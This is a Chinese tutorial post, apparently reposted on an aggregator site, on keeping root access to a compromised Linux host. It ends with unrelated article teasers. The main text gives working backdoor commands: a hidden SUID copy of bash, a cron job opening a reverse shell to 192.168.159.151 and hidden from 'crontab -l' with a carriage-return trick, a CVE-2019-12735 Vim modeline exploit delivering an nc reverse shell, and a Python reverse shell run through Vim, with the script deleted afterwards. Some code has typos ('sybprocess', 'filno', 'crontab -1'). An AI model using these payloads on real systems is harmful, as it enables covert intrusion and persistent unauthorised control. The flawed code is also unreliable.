持久化:Linux利用SUID、任务计划、vim进行权限维持

news2024/12/26 23:18:29

目录

利用Linux SUID进行权限维持

利用Linux计划任务进行权限维持

利用Vim创建后门

利用CVE-2019-12735进行权限维持

使用Vim运行Python后门程序


利用Linux SUID进行权限维持

在前面我们使用Linux的SUID权限进行了权限提升,然后SUID还可以用来进行持久化

利用SUID我们可以解除低权限用户获取高权限,但是这种手段通常用在已经获取root权限的情况,攻击者在拿到root权限后,可以使用root权限留下一个SUID后门,这样就算以后权限被降级,攻击者仍然可以使用这个后门取回root权限

(1)首先我们使用root权限的用户执行下列命令,将/bin/bash复制为.exp(.是为了将该文件设置为隐藏文件)

cp /bin/bash  .exp

复制成功之后使用以下命令为.exp文件授权SUID权限:

chmod 4755 .exp

 

接下来我们就可以使用普通用户身份来运行该程序

注:允许时需要加上-p选项,目的是为了绕过Bash 2的限制

可以看到这样我们还是可以恢复到root权限的

利用Linux计划任务进行权限维持

(1)Linux任务计划

计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。

存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令

(2)在Linux中创建隐匿的任务计划

首先我们使用下列命令检查任务计划服务是否正常运行:

service cron status

然后使用crontab -l查看当前用户在系统中创建的任务计划:

要知道Linux中“万物皆文件”,crontab -l命令实际上是调用"cat /var/spool/cron/crontabs 当前登录的用户名"

因此,我们也可以通过直接编辑 /var/spool/cron/crontabs/root来编辑计划任务

echo "*/1 * * * * bash -i > & /dev/tcp/192.168.159.151/10086 0>&1" /var/spool/cron/crontabs/root

(3)那么攻击者可以执行下列命令来在任务计划写入一个一分钟执行一次的会连会话的语句,以达到权限维持的效果,但是这样很容易就会被crontab -l显示出来了

这里可以利用cat命令存在的一个缺陷,会自动识别转义字符,比如执行命令printf "123\r" > 1.txt 执行完成后使用cat命令读取该文件 ,可以看到无法读取123,只有使用vim才能看见文件的内容:

那么我们就可以利用这个特性,写入一个无法被crontab -l获取的计划任务:

执行下列命令来写入任务计划,

(crontab -1;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami %100c\n") |crontab -

执行完就可以看到使用Crontab -l查看是没有内容的,使用vim查看才可以看到内容,达到了创建隐藏后门达到了权限维持的目的

利用Vim创建后门

利用CVE-2019-12735进行权限维持

利用该漏洞可以在Vim打开文件后执行指定命令,该漏洞影响低于Vim 8.1.1365的版本。

漏洞成因是在于Vim 中的modeline功能,开启该功能之后的用户可以输入一些特定的代码来控制编辑器,这个功能限制用户只能输入set命令,且命令只会在沙盒中运行,但是用户可以使用:source!指令来绕过沙盒执行命令

首先需要开启modeline功能对vimrc进行编辑,使用下列命令来开启modeline功能:

echo "set modeline" >> ~/.vimrc

随后使用下列命令将利用代码写入poc.txt

echo ':!id||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >poc.txt

其中id为我们要执行的命令,写入之后使用Vim打开poc.txt就可以看到id执行的命令结果

最后使用下列命令来反弹一个shell:

echo ':!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.151 >/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >shell.txt

参数意义:

  • fen: 当值为off时,所有的代码折叠都被打开,默认是off

  • fdm=expr: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level

  • fde=assert_fails("source! %"): fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。

  • fdl=0: 折叠的程度,设置为0时会关闭所有的折叠,默认是0

  • fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

  • ||表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a会执行成功,||后面的字符串被忽略,所以PoC到这里就执行成功了。

攻击方使用下列命令监听:

nc -l 192.168.159.151 10031

然后在服务器这里使用vim shell.txt命令,攻击者就可以拿到服务器的shell了

使用Vim运行Python后门程序

渗透过程中如果需要执行python脚本,但是系统中并没有python环境,而此时就可以利用Vim自带的插件去运行Python脚本

执行下列命令系向1.py文件写入代码:

echo 'print("hello world")' > 1.py

然后使用Vpyfile插件来运行该Python脚本

使用下列命令:

Vim  -E -c "pyfile 1.py"

如果想要反弹shell,可以在文件中写下如下代码:

import socket sybprocess os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.151",8888));
os.dup2(s.filno(),0);
os.dup2(s.filno(),1);
os.dup2(s.filno(),2);
p = subprocess.call(["/bin/sh","-i"]);

然后在攻击机的监听下,在服务器上执行以下命令

$(nohup vim -E -c "py3file 1.py" > /dev/null 2>&1 &) && sleep 2 && rm -f 1.py 

执行完成后就会发现反弹shell成功了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1451976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

docker (四)-docker网络

默认网络 docker会自动创建三个网络,bridge,host,none bridge桥接网络 如果不指定,新创建的容器默认将连接到bridge网络。 默认情况下,使用bridge网络,宿主机可以ping通容器ip,容器中也能ping通宿主机。 容器之间只…

[Android]Frida-hook环境配置

准备阶段 反编译工具:Jadx能够理解Java语言能编写小型的JavaScript代码连接工具:adb设备:Root的安卓机器,或者模拟器 Frida(https://frida.re/) 就像是你计算机或移动设备的妙妙工具。它帮助你查看其他程序或应用内部发生的事情&#xff0…

云计算基础-网络虚拟化

虚拟交换机 什么是虚拟交换机 虚拟交换机是一种运行在虚拟化环境中的网络设备,其运行在宿主机的内存中,通过软件方式在宿主机内部实现了部分物理交换机的功能,如 VLAN 划分、流量控制、QoS 支持和安全功能等网络管理特性 虚拟交换机在云平…

java8-用流收集数据-6

本章内容口用co1lectors类创建和使用收集器 口将数据流归约为一个值 口汇总:归约的特殊情况 数据分组和分区口 口 开发自己的自定义收集器 我们在前一章中学到,流可以用类似于数据库的操作帮助你处理集合。你可以把Java8的流看作花哨又懒惰的数据集迭代器。它们…

SQL-Labs靶场“6-10”关通关教程

君衍. 一、第六关 基于GET的双引号报错注入1、源码分析2、floor报错注入3、updatexml报错注入 二、第七关 基于文件写入注入1、源码分析2、outfile注入过程 三、第八关 基于GET单引号布尔盲注1、源码分析2、布尔盲注(脚本)2、布尔盲注(手工&a…

多线程 --- 线程互斥

目录 1. 线程互斥 1.1. 相关背景概念 1.2. 互斥锁 1.2.1. 初始化互斥量 1.2.2. 销毁互斥量 1.2.3. 互斥量加锁 && 解锁 1.3. 互斥量 (锁) 的原理 1.3.2. 相关问题和解释 1.3.2. 锁的实现原理 1.3.3. 可重入 && 线程安全问题 1.3.4. 常见的线程不安全…

循序渐进-讲解Markdown进阶(Mermaid绘图)-附使用案例

Markdown 进阶操作 查看更多学习笔记:GitHub:LoveEmiliaForever Mermaid官网 由于CSDN对某些Mermaid或Markdown语法不支持,因此我的某些效果展示使用图片进行 下面的笔记内容全部是我根据Mermaid官方文档学习的,因为是初学者所以…

OpenAI Sora是世界模型?

初见Sora,我被OpenAI的野心震撼了。 他们不仅想教会AI理解视频,还要让它模拟整个物理世界!这简直是通用人工智能的一大飞跃。 但当我深入了解后,我发现Sora比我想象的更复杂、更强大。 Sora不是简单的创意工具,而是…

十五、Object 类

文章目录 Object 类6.1 public Object()6.2 toString方法6.3 hashCode和equals(Object)6.4 getClass方法6.5 clone方法6.6 finalize方法 Object 类 本文为书籍《Java编程的逻辑》1和《剑指Java:核心原理与应用实践》2阅读笔记 java.lang.Object类是类层次结构的根…

Html的<figure><figcaption>标签

Html的<figure><figcaption>标签 示例一: <figure><figcaption>figcaption001, fig标题1 </figcaption><figcaption>figcaption002, fig标题2 </figcaption><div style"width:calc(100px*2); height:calc(100px*2); back…

用HTML、CSS和JS打造绚丽的雪花飘落效果

目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html; charsetGBK"><style>* {margin: 0;padding: 0;}#box {width: 100vw;heig…

微服务学习Day3

文章目录 初始DockerDocker介绍Docker与虚拟机镜像和容器 Docker的基本操作镜像操作容器命令数据卷挂载数据卷 Dockerfile自定义镜像Docker-Compose介绍Docker-Compose部署微服务镜像仓库 初始Docker Docker介绍 Docker与虚拟机 镜像和容器 Docker的基本操作 镜像操作 容器命…

Pandas Series Mastery: 从基础到高级应用的完整指南【第83篇—Series Mastery】

Pandas Series Mastery: 从基础到高级应用的完整指南 Pandas是Python中一流的数据处理库&#xff0c;它为数据科学家和分析师提供了强大的工具&#xff0c;简化了数据清理、分析和可视化的流程。在Pandas中&#xff0c;Series对象是最基本的数据结构之一&#xff0c;它为我们处…

MATLAB知识点:datasample函数(★★☆☆☆)随机抽样的函数,能对矩阵数据进行随机抽样

讲解视频&#xff1a;可以在bilibili搜索《MATLAB教程新手入门篇——数学建模清风主讲》。​ MATLAB教程新手入门篇&#xff08;数学建模清风主讲&#xff0c;适合零基础同学观看&#xff09;_哔哩哔哩_bilibili 节选自第3章&#xff1a;课后习题讲解中拓展的函数 在讲解第三…

Ubuntu Desktop 显示文件路径

Ubuntu Desktop 显示文件路径 1. GUI hot key2. CLIReferences 1. GUI hot key Ctrl L: 显示文件路径 2. CLI right click -> Open in Terminal -> pwd strongforeverstrong:~/Desktop$ pwd /home/strong/DesktopReferences [1] Yongqiang Cheng, https://yongqiang…

Leetcode1686. 石子游戏 VI

Every day a Leetcode 题目来源&#xff1a;1686. 石子游戏 VI 解法1&#xff1a;贪心 排序 贪心的思想&#xff1a; 这道题模拟一个石子游戏&#xff0c;求解最后的比赛结果。 题目说两位玩家都会采用 最优策略 进行游戏&#xff0c;那么关键点就在于什么是最优策略&…

docker (五)-docker存储-数据持久化

将数据存储在容器中&#xff0c;一旦容器被删除&#xff0c;数据也会被删除。同时也会使容器变得越来越大&#xff0c;不方便恢复和迁移。 将数据存储到容器之外&#xff0c;这样删除容器也不会丢失数据。一旦容器故障&#xff0c;我们可以重新创建一个容器&#xff0c;将数据挂…

Swift Combine 合并多个管道以更新 UI 元素 从入门到精通十七

Combine 系列 Swift Combine 从入门到精通一Swift Combine 发布者订阅者操作者 从入门到精通二Swift Combine 管道 从入门到精通三Swift Combine 发布者publisher的生命周期 从入门到精通四Swift Combine 操作符operations和Subjects发布者的生命周期 从入门到精通五Swift Com…

Qt:Qt3个窗口类的区别、VS与QT项目转换

一、Qt3个窗口类的区别 QMainWindow&#xff1a;包含菜单栏、工具栏、状态栏 QWidget&#xff1a;普通的一个窗口&#xff0c;什么也不包括 QDialog&#xff1a;对话框&#xff0c;常用来做登录窗口、弹出窗口&#xff08;例如设置页面&#xff09; QDialog实现简易登录界面…

【c++】list 模拟

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大二&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;能手撕list模拟 > 毒鸡汤&#xff1a;不为模糊…